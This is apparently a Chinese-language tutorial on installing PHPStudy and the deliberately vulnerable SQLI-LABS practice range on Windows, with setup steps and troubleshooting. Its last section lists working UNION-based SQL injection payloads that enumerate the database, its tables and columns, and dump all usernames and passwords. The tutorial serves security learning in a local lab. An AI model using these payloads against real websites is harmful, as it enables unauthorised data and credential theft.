注意:文中涉及演示均為模擬測試,切勿用于真實環境,任何未授權測試都是違法行為!
一、環境準備
- 下載PHPStudy
官網下載地址:https://www.xp.cn/php-study(選擇Windows版)
安裝時建議選擇自定義路徑(如 D:\phpstudy_pro
),避免系統盤權限問題
- 下載SQLI-LABS源碼
從GitHub獲取源碼包:https://github.com/Audi-1/sqli-labs
下載完成后解壓,將文件夾重命名為sqli-labs
(避免中文路徑)。
二、PHPStudy配置
- 啟動基礎服務
打開PHPStudy,啟動Apache和MySQL服務(圖2:服務啟動界面)。
若MySQL啟動失敗,檢查端口是否被占用(默認3306)。
- 切換PHP版本
點擊左側菜單【網站】→ 選擇【管理】→【PHP版本】→更多→ 安裝PHP5.5.9(SQLI-LABS不支持PHP7+)。
切換后需重啟Apache服務(圖3:PHP版本切換界面)。
三、部署SQLI-LABS靶場
-
放置源碼文件
將sqlilabs
文件夾復制到PHPStudy的網站根目錄(默認路徑:D:\phpstudy_pro\WWW
)。 -
配置數據庫連接
打開文件sqlilabs/sql-connections/db-creds.inc
,修改以下參數:$dbuser = 'root'; // 數據庫用戶名(默認) $dbpass = 'root'; // 數據庫密碼(若未修改則為空)
四、初始化靶場數據庫
- 訪問靶場頁面
瀏覽器輸入http://localhost/sqli-labs/
,進入SQLI-LABS首頁。
點擊頁面中的Setup/reset Database for labs鏈接
- 驗證初始化結果
若顯示Congratulations! Database is connected...
,表示數據庫創建成功。
若報錯mysql_connect() undefined
,需檢查PHP版本是否為5.x 。
五、開始注入練習
- 選擇關卡
返回首頁點擊Less-1(基礎注入關卡),通過URL參數?id=1
測試注入點。
示例Payload:?id=1' and 1=2 union select 1,2,3 --+
查看顯示位
?id=1' and 1=2 union select 1,2,database()--+
顯示出數據庫名
?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
查看數據庫的所有表
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
查看users表中的字段
?id=1' and 1=2 union select 1,2,group_concat(username,0x7e,password) from security.users --+
查看全部用戶名和密碼
還可以下載phpmyadmin管理數據庫
2. 常見問題排查
數據庫連接失敗:檢查db-creds.inc
密碼是否與PHPStudy的MySQL一致。
頁面無法訪問:確認sqlilabs
文件夾是否位于WWW
目錄,且Apache端口未被占用。